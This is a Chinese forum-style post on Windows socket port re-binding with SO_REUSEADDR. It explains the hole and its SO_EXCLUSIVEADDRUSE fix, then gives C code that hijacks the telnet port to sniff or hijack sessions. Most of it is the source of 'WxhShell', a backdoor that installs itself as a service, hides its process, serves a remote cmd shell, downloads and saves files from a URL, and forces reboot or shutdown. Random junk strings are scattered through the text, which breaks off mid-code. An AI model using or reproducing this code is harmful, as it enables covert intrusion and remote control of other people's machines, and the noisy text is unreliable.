在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
(|Gwg \r s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
n@ba>m4{ ^gx~{9`RR saddr.sin_family = AF_INET;
xBc|rqge 9uWg4U saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n/(}|xYU ]58~b%s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Cy uRj[;B aY?VP?BL 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
D!Y@Og. ?M&@# lbG 这意味着什么?意味着可以进行如下的攻击:
c8[kL$b;j }=R0AKz!Cv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:{)uD
; 5PZ7-WJ/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)'f=!'X -r<8mL:yW 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$Ugc:L<h+ #~/9cVm$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(nq""kO6' .6$=]hdAp 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Uv>e :U7 ; 1ow,'FztPt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tjRwbnT" X$\CC18 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\
[OB. J5Zz*'av' #include
6M7GPHah #include
?+7~E8 #include
T^#d;A #include
*5oQZ".vA* DWORD WINAPI ClientThread(LPVOID lpParam);
nlhv int main()
WO9vOS> {
@OT$* Qh WORD wVersionRequested;
>Tl/3{V DWORD ret;
"]G'^ WSADATA wsaData;
:Ob^b3<t BOOL val;
=>c0NT SOCKADDR_IN saddr;
zLe(#8G SOCKADDR_IN scaddr;
Z7pX%nj_ int err;
5EQ)pH+ SOCKET s;
CQ. C{ SOCKET sc;
e8dZR3JL int caddsize;
^&86VBP HANDLE mt;
v\8v' EDP DWORD tid;
H/M]YUs/3 wVersionRequested = MAKEWORD( 2, 2 );
tlD^"eq4: err = WSAStartup( wVersionRequested, &wsaData );
5<`83;R9 if ( err != 0 ) {
qzvht4 printf("error!WSAStartup failed!\n");
/v<Gt%3X return -1;
(n.IK/: }
+U
J~/XV saddr.sin_family = AF_INET;
ga\s5
\F`>zY2$% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
FIfLDT+ Wh ~E8/m_> rU saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
3]9wfT%d saddr.sin_port = htons(23);
,7s+-sRG if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|,`"Omb9+m {
^pu8\K;~ printf("error!socket failed!\n");
w<THPFFF" return -1;
Wd!Z`,R }
$PRd'YdL/ val = TRUE;
Zy9IRZe4U //SO_REUSEADDR选项就是可以实现端口重绑定的
=s*c(> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)K]p^lO {
J5jI/P printf("error!setsockopt failed!\n");
6p&2A return -1;
R"HV|Dm|m }
@8m%*pBg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&F#eYEuy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eQ)*jeD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U_'M9g{,< MHt
~ZVH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$v2t6wS," {
jf1GYwuW* ret=GetLastError();
PE6,9i0ee printf("error!bind failed!\n");
2^`k6V! return -1;
_ ~yd }
=&k[qqxg listen(s,2);
9pj6`5Zn@6 while(1)
u@:[ dbJ {
h {J io> caddsize = sizeof(scaddr);
$Lbamg->E //接受连接请求
jPz1W4pk sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>#&2 5,Q if(sc!=INVALID_SOCKET)
OY81|N
j {
6
F 39' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#+_=(J if(mt==NULL)
KwaxNb5 {
T zS?WYF printf("Thread Creat Failed!\n");
}BT0dKx break;
0/|Ax-dK }
!PeSnO }
qhTVsZ:{C CloseHandle(mt);
XABP}|aWK }
TYR \K closesocket(s);
wBw(T1VN WSACleanup();
h,&{m*q& return 0;
4Ng:7C2 }
V8WSJ=-&
DWORD WINAPI ClientThread(LPVOID lpParam)
Z*b l J5YC {
M~`^deU1 SOCKET ss = (SOCKET)lpParam;
IIGx+> SOCKET sc;
`S4*~Xx unsigned char buf[4096];
3:#6/@wQ SOCKADDR_IN saddr;
sqV~Dw long num;
\i-CTv6f DWORD val;
-CFy
DWORD ret;
kzK9. //如果是隐藏端口应用的话,可以在此处加一些判断
x%ccNP0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
NLx TiyQy saddr.sin_family = AF_INET;
NhTJB7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
>iG3!Td)y saddr.sin_port = htons(23);
-@]b7J?`k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:|ahu {
6XCFL-o- printf("error!socket failed!\n");
Ja&S_'P[ return -1;
"Vl4=W)u }
sz/^Ie-~ val = 100;
=<PEvIn if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mqsAYzG {
X}x\n\Z ret = GetLastError();
]n"RPktx return -1;
YuIF}mUr" }
w?8\9\ ;? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6;s[dw5T {
=w`uZ;l$Q ret = GetLastError();
cvT@`1 return -1;
{SXSQ '= }
S#y GqN0i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@'M"c
q {
Np$&8v+en printf("error!socket connect failed!\n");
q7soV(P closesocket(sc);
Bvj sl closesocket(ss);
Eld[z{n" return -1;
o6~JAvw }
\Z42EnJ while(1)
}f}? |&q {
`[}X_d 1A //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[~\]<;;\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
IqepR
>5t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f2M*]{N num = recv(ss,buf,4096,0);
*2vp2xMA@ if(num>0)
~G=E
Q]a send(sc,buf,num,0);
U~?mW,iRL else if(num==0)
6=,zkU*i^ break;
zd!%7
UP num = recv(sc,buf,4096,0);
n=$ne2/ if(num>0)
.<fdX()e, send(ss,buf,num,0);
Q}<QE:-&E else if(num==0)
yVGf[~X break;
<Ist^h+o }
a8Xwz@ M closesocket(ss);
]&D=*:c closesocket(sc);
-Edy ~;_ return 0 ;
Dic|n@_Fy }
p"jze3mF i_r708ep6 jpZq]E9`P ==========================================================
Pn.DeoHme u=]*,,5< 下边附上一个代码,,WXhSHELL
yk5K8D[tV f##/-NG ==========================================================
H%rNQxA2 + :X-S&SX0 #include "stdafx.h"
XSK<hr0m T2azHo7 #include <stdio.h>
:WQlpLn #include <string.h>
,~1k:>njY~ #include <windows.h>
+U_1B%e(% #include <winsock2.h>
gCG#?f #include <winsvc.h>
0 } &/n>F #include <urlmon.h>
bE2O[B R'>@ja* #pragma comment (lib, "Ws2_32.lib")
\SO)|M>. a #pragma comment (lib, "urlmon.lib")
ZADMtsk ZS]Z0iZv9 #define MAX_USER 100 // 最大客户端连接数
G'w!Aw s #define BUF_SOCK 200 // sock buffer
?)k]Vg. #define KEY_BUFF 255 // 输入 buffer
3)?WSOsL: |V{ Q #define REBOOT 0 // 重启
vp!F6ZwO #define SHUTDOWN 1 // 关机
M,li\)J!& f`/('}t #define DEF_PORT 5000 // 监听端口
b30Jr2[ [ @"6:tTU #define REG_LEN 16 // 注册表键长度
.%.7~Nu, #define SVC_LEN 80 // NT服务名长度
L'aB/5_% hp9LV2_5 // 从dll定义API
7(tsmP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S|LY U!IWZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
$^?VyHXvY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
p19@to5l typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
TKsP#Dt/ >s"/uo // wxhshell配置信息
fvi0gE@bd struct WSCFG {
=GF=_Ac int ws_port; // 监听端口
h:?qd char ws_passstr[REG_LEN]; // 口令
);t+~YPS int ws_autoins; // 安装标记, 1=yes 0=no
y6[ le*T char ws_regname[REG_LEN]; // 注册表键名
|_8l9rB5ip char ws_svcname[REG_LEN]; // 服务名
rrj.]^E_~ char ws_svcdisp[SVC_LEN]; // 服务显示名
m}RZ)c char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z~-N'Lt{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
t[X^4bZd int ws_downexe; // 下载执行标记, 1=yes 0=no
\**j\m char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
!yrh50tD char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4Nt4(3Kf g%[:wjV; };
7'i{JPm z,SI // default Wxhshell configuration
2;
,8 u struct WSCFG wscfg={DEF_PORT,
&}2@pu[S?7 "xuhuanlingzhe",
X~"p]V_ 1,
c6c@XdV "Wxhshell",
leH7II9 "Wxhshell",
VR&dy|5BO "WxhShell Service",
&V<f;PF(I "Wrsky Windows CmdShell Service",
Xz)F-C27h "Please Input Your Password: ",
#Mk:4 1,
,&M#[>\(3 "
http://www.wrsky.com/wxhshell.exe",
wi
jO2F "Wxhshell.exe"
u)o-H!a };
QQV8Vlv" lA/-fUA // 消息定义模块
vBF9!6X . char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e_KfnPY
char *msg_ws_prompt="\n\r? for help\n\r#>";
T7.SjR6X> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ug ;Xoh5w char *msg_ws_ext="\n\rExit.";
0^uUt- char *msg_ws_end="\n\rQuit.";
~:f..|JM char *msg_ws_boot="\n\rReboot...";
aHpZhR|f$ char *msg_ws_poff="\n\rShutdown...";
Q/0gd? U? char *msg_ws_down="\n\rSave to ";
nC%qdzT C<(oaeQY char *msg_ws_err="\n\rErr!";
\'Et)uD* char *msg_ws_ok="\n\rOK!";
wW)(mY? (Y7zaAG] char ExeFile[MAX_PATH];
sw$uZ$$~# int nUser = 0;
L{8_6s(: HANDLE handles[MAX_USER];
FibZT1-k int OsIsNt;
Rky]F+J O]@#53)Tz SERVICE_STATUS serviceStatus;
d*gv.mE SERVICE_STATUS_HANDLE hServiceStatusHandle;
pl1CPxSdO >JS^yVk // 函数声明
>&S}u\/ int Install(void);
<YU4RZ int Uninstall(void);
YkB@fTTS int DownloadFile(char *sURL, SOCKET wsh);
_Q
I!UQdW int Boot(int flag);
*.|%uf. void HideProc(void);
t $Rc
0 int GetOsVer(void);
BPt? 3tC int Wxhshell(SOCKET wsl);
1Pw1TO"Z
void TalkWithClient(void *cs);
zEW+1-=)+7 int CmdShell(SOCKET sock);
JOt(r}gU int StartFromService(void);
|%XTy7^a int StartWxhshell(LPSTR lpCmdLine);
SiX<tj#HH\ ug2W{D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Q35\wQ# VOID WINAPI NTServiceHandler( DWORD fdwControl );
p2t04p! ^&1O:G*" // 数据结构和表定义
|H_WY# SERVICE_TABLE_ENTRY DispatchTable[] =
!vR Zh('R {
b- t {wscfg.ws_svcname, NTServiceMain},
f?k0(rl {NULL, NULL}
h L [ eA };
-2J37 0g|5s // 自我安装
vZTXvdF int Install(void)
Z*mbhod {
&Q?@VNi char svExeFile[MAX_PATH];
4l%W]' HKEY key;
Hh=fv~X strcpy(svExeFile,ExeFile);
|> ]@w\] +c<iVc| // 如果是win9x系统,修改注册表设为自启动
r \ft{Z<P if(!OsIsNt) {
/ugyUpyg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w($a'&d`0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1r$-U h RegCloseKey(key);
iUR ij@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YFB>GQ; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pl&nr7\ RegCloseKey(key);
/^nIOAeE return 0;
Kh$"5dy }
#Iz)Mu }
S5 q1Mn }
lRg?||1ik else {
s)qrlv5H jmr
.gW // 如果是NT以上系统,安装为系统服务
? F
#&F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
rn*'[i? if (schSCManager!=0)
,*6K3/kW {
e
c]kt' SC_HANDLE schService = CreateService
YQG
l8E' (
Y#68_%[ schSCManager,
?cRF;!o" wscfg.ws_svcname,
>bZ-mX)j\0 wscfg.ws_svcdisp,
Ei @ SERVICE_ALL_ACCESS,
MBA?, |9Q# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5>f" SERVICE_AUTO_START,
[%dsq`b# SERVICE_ERROR_NORMAL,
tjXg svExeFile,
ktTP~7UVi NULL,
aHW34e@ebL NULL,
zs#-E_^%M NULL,
e3;D1@ NULL,
\Yr*x7! NULL
J3
Q_ );
kMch if (schService!=0)
)f:i4.M {
2\1+M) CloseServiceHandle(schService);
/y-D_ CloseServiceHandle(schSCManager);
I{(!h90 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`~u=[}w strcat(svExeFile,wscfg.ws_svcname);
cHF W"g78 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
)>FAtE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"PI;/(kR RegCloseKey(key);
Ex
p?x return 0;
{\1bWr8!U }
hTn"/|_SW }
e*}zl>f CloseServiceHandle(schSCManager);
Ie^Ed` }
> U?\WgE$ }
a`w=0]1&* >EJ{ * return 1;
KUZi3\p9W> }
:Pdh##k I8J>>H'#A // 自我卸载
H;nzo3x int Uninstall(void)
3O$l;|SX {
`Uz.9_6 HKEY key;
~3:hed7: YTefEG]|q if(!OsIsNt) {
NzQvciJ@" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}?Y -I>
w RegDeleteValue(key,wscfg.ws_regname);
iptA#<Yj RegCloseKey(key);
~&)\8@2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Opu*i RegDeleteValue(key,wscfg.ws_regname);
M,H8ZO:R RegCloseKey(key);
*P*~CHx> return 0;
:[n~(~7? }
,nteIR'?? }
x/<]/D }
/r~2KZE else {
<p b -1Li&K7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZSQiQ2\) if (schSCManager!=0)
Sr6'$8#>Y {
49*f=gpGj2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
JE9v+a{7 if (schService!=0)
ZNw|5u^N {
)m7%cyfC if(DeleteService(schService)!=0) {
x!GDS> CloseServiceHandle(schService);
o!UB x<4 CloseServiceHandle(schSCManager);
/(s |'"6 return 0;
Q"FN"uQ}x }
ivo><"Y(r CloseServiceHandle(schService);
M8WjqTq }
RG45S0Ygj CloseServiceHandle(schSCManager);
lF(v<drkB }
}XBF#BN }
Qt4mg?X/ qWr=Oiu return 1;
_)5E= }
<Y"RsW9 AJi+JO- // 从指定url下载文件
np^&cY] int DownloadFile(char *sURL, SOCKET wsh)
b_ZvI\H {
a.%ps: HRESULT hr;
6NV592 char seps[]= "/";
s 7 nl char *token;
ZUHW*U. char *file;
@~hy'6/ char myURL[MAX_PATH];
9]=J+ (M char myFILE[MAX_PATH];
jq)Bj#'7 A` _dj}UF strcpy(myURL,sURL);
6t; ;Fz token=strtok(myURL,seps);
q("XS while(token!=NULL)
p)B/(% {
_=I1 file=token;
'hr_g* i token=strtok(NULL,seps);
L-?ty@-i }
x*z[(0g! :(US um GetCurrentDirectory(MAX_PATH,myFILE);
WZ?>F strcat(myFILE, "\\");
}TMO>eB' strcat(myFILE, file);
N@PwC( send(wsh,myFILE,strlen(myFILE),0);
K9xvog send(wsh,"...",3,0);
#>aq'47j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+g?uvXC& if(hr==S_OK)
> .NLmzUX return 0;
"G>d8GbIh else
n! 5(Z5= return 1;
A-4;$
QSm +&u/R')?6r }
afX|R ((]i}s0S // 系统电源模块
[(*Eg!?W= int Boot(int flag)
Y(6evo&IR {
E}9wzPs HANDLE hToken;
&Pme4IHtm TOKEN_PRIVILEGES tkp;
~vDa2D<9% {c)\}s(}F if(OsIsNt) {
V $I8iVGL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%(
7##f_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9oc_*V0< tkp.PrivilegeCount = 1;
If'2
m_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L3\#ufytb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
LI.WcI3uS if(flag==REBOOT) {
<Mvniz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k^ZP~.G return 0;
W6>t!1oO+ }
Ci-Ze j else {
FLG"c690 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
tcoG;ir return 0;
A^).i_ }
fmK~? }
^dLu#,; else {
15J"iN2"W if(flag==REBOOT) {
A3tv'-e9 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
yC$m(Y12FN return 0;
Q SF0?Puf }
rtAPkXJFM else {
}y*D(` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~3M4F^ return 0;
RYCiO,+ }
j17h_ a; }
`Ns@W? !{+CzUo@ return 1;
Z4Q]By:/L }
O'(Us!aq ( gg )? // win9x进程隐藏模块
AJB
NM void HideProc(void)
giu{,gS0?M {
E`_T_O=P B /uaRi% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4F.,Y3 if ( hKernel != NULL )
P`@Rt {
] :LlOv$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
U%bm{oVn ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M`al~9 FreeLibrary(hKernel);
*;}xg{@ }
D*2*FDGI s i2@k return;
3);P!W4> }
"|I.j) $=diG // 获取操作系统版本
hO[_ _j8 int GetOsVer(void)
|oU I2<" {
KE"6I OSVERSIONINFO winfo;
Hre&a!U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<o|fH~?X GetVersionEx(&winfo);
c6 &k?Puy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<vWP_yy return 1;
v3cMPN else
KwHN c\\ return 0;
kCD]& }
n[e C ynM:]*~K // 客户端句柄模块
./;uhj int Wxhshell(SOCKET wsl)
qvu1 u
GCc {
v)*MgfS SOCKET wsh;
=&08s(A struct sockaddr_in client;
4>oM5Yf8 DWORD myID;
glCpA$;VPu az![u) while(nUser<MAX_USER)
}=v4(M `% {
~vt*%GN3 int nSize=sizeof(client);
w( SY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
.gfi9J if(wsh==INVALID_SOCKET) return 1;
)nf%S+KV ?"
4X&6xl handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
8y6dT if(handles[nUser]==0)
@"NP`# closesocket(wsh);
xltN-<n7 else
D~ 3@v+d nUser++;
MzUKp" }
x[};x;[ZE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Qq.$!$ bP-(N14x+ return 0;
b-8@_@f|g }
{+#{Cha i|z=WnF$& // 关闭 socket
D+;4|7s+ void CloseIt(SOCKET wsh)
@&m]:GR {
m-4#s closesocket(wsh);
>b"@{MZ@t nUser--;
,N:^4A ExitThread(0);
,w6?Ap }
X@[5nyILf Czw]5 // 客户端请求句柄
:'%|LBc0 void TalkWithClient(void *cs)
|MKR&%Na {
kJ"rRsK kwUUvF7w SOCKET wsh=(SOCKET)cs;
9Br+]F_i char pwd[SVC_LEN];
g7?[}?]3"p char cmd[KEY_BUFF];
~l:Cj*6x8 char chr[1];
ssQ1u.x9 int i,j;
3<<wHK;) *:d``L while (nUser < MAX_USER) {
r3?8nQ$ yLLA:5Q1 if(wscfg.ws_passstr) {
}iDRlE, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CC!`fX6z>h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Pi=FnS //ZeroMemory(pwd,KEY_BUFF);
PTe$dPB i=0;
5P<1I7d while(i<SVC_LEN) {
0vLx={i 1J1Jp|j. // 设置超时
pSC{0Y$g fd_set FdRead;
~rO&Y{aG# struct timeval TimeOut;
r6\g#} FD_ZERO(&FdRead);
EsWB |V> FD_SET(wsh,&FdRead);
@F(er TimeOut.tv_sec=8;
:tO?+1 TimeOut.tv_usec=0;
-"ZNkC= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V^FM-bg%9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)G/=3;! u,iiS4'Ze if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
"JmbYb#Z pwd
=chr[0]; yxx_%9 X
if(chr[0]==0xd || chr[0]==0xa) { 4w%hvJ
pwd=0; Bn8&~
break; h(nE)j
} s[{8:Px
i++; Ay6T*Nu`
} dEXhn
A4l"^dZc
// 如果是非法用户,关闭 socket _:Q^mV=;j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }P%gwgPK
} $I-iq
@
3F;0a ;[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `2U,#nZ 4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V9<E`C
chD7^&5]
while(1) { bny@AP(CY+
rkS'OC
ZeroMemory(cmd,KEY_BUFF); +Q_xY>ej
0e"KdsA:<U
// 自动支持客户端 telnet标准 "Vc|D (g
j=0; bZWR.</
while(j<KEY_BUFF) { YdvXp/P:|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X)]>E]X
cmd[j]=chr[0]; EhO\N\p(Q=
if(chr[0]==0xa || chr[0]==0xd) { pHVDug3
cmd[j]=0; /oe0
break; @.cord`
} 5[zr(FuE
j++; A<H]uQ>
} nUONI+6Z/
S|u5RU8*"|
// 下载文件 mhIGunK;+
if(strstr(cmd,"http://")) { ;QuxTmWp^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 24InwR|^
if(DownloadFile(cmd,wsh)) OdyL
j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A|IPQ=
else Th,]nVsGs~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oIE(`l0l
} .-s!} P"
else { /-<]v3J
=#TQXm']Gi
switch(cmd[0]) { S WsD]rn
K'e!BZm6Q
// 帮助 p(4Ek"
case '?': { Np9Pae'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b2F1^]p
break; Ca"i<[8
} 3s:)CXO
// 安装 hhjsg?4uL
case 'i': { .*FlB>1jy
if(Install()) IP !zg|c,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zSsogAx
else Q(8W5Fb?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >>J!|
break; ?1]B(V9nBq
} a3Z()|t>
// 卸载 3_VWtGQ
case 'r': { qj*BV
if(Uninstall()) /e*<-a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &xlOsr/n
else d9
8pv%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ej VB\6,
break; y;9K
} rUiUv(q
// 显示 wxhshell 所在路径 =g@hh)3wP
case 'p': { @izS_I,
char svExeFile[MAX_PATH]; ";0-9*I
strcpy(svExeFile,"\n\r"); &E
k\
strcat(svExeFile,ExeFile); 4f0dc\$
send(wsh,svExeFile,strlen(svExeFile),0); GEb)nHQq
break; |("5 :m
} hW cM.
// 重启 XnvaT(k7Y
case 'b': { 8{Svax(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I#p-P)Q%S
if(Boot(REBOOT)) )./'RE+(k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,ao2)
else { 0j/i):@
closesocket(wsh); ~ YZi"u
ExitThread(0); 8>:2li
} GWShv\c}
break; Q;1$gImFz
} }Ty_} 6a5
// 关机 9>@"W-
case 'd': { 1G8t=IA%D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b;|^62
if(Boot(SHUTDOWN)) |om3* ]7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Uz|sQ*G
else { :TWHmxch
closesocket(wsh); tX}Fb0y
ExitThread(0); `+@%l*TQ
} [c6_6q As
break; }KkH7XksF
} F{<rIR
// 获取shell }@A~a`9g
case 's': { .~8IW,[
CmdShell(wsh); t!Av[K
closesocket(wsh); Vk~}^;`Y
ExitThread(0); G}~b
break; *JOv
} q`;URkjk
// 退出 4 ]8PF
case 'x': { z#*GPA8Em:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CUw
9aH
CloseIt(wsh); 1r w>gR
break; qOa-@MN
} oq<#
// 离开 Bp6Evi
case 'q': {
Q{Bj(f
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ||,;07
closesocket(wsh); &c@I4RV|q
WSACleanup(); TT&!WbA-Hk
exit(1); o_$r*Z|HG
break; RMrt4:-DI
} gA) F
} uTJ?@^nq
} \S2'3SDd/
Wj*6}N/
// 提示信息 &k{@:z
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vgm{=$
} B'0Il"g'
} Y2D)$
-s!PO;qm
return; $fvUb_n
} pcl_$2_
YGn:_9
// shell模块句柄 6ensNr~ea
int CmdShell(SOCKET sock) 2Uk8{d
{ <*5D0q#~"
STARTUPINFO si; 3 \WdA$Wx
ZeroMemory(&si,sizeof(si)); >)
:d38M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bo"I:)n;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1!NaOfP;@
PROCESS_INFORMATION ProcessInfo; dX3>j{_
char cmdline[]="cmd"; %E!0,y,:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fu&]t8MJC
return 0; G`W+m*[U+M
} vA{[F7
Wl2>U(lj
// 自身启动模式 [E /3&3
int StartFromService(void) Mo<p+*8u:
{ %`\{Nxk
typedef struct nz&JG~Qfm
{ J/*[wj
DWORD ExitStatus; e
O}mZN
DWORD PebBaseAddress; +%~g$#tlJo
DWORD AffinityMask; t-Fl"@s
DWORD BasePriority; wIiT
:o
ULONG UniqueProcessId; V)Xcn'h
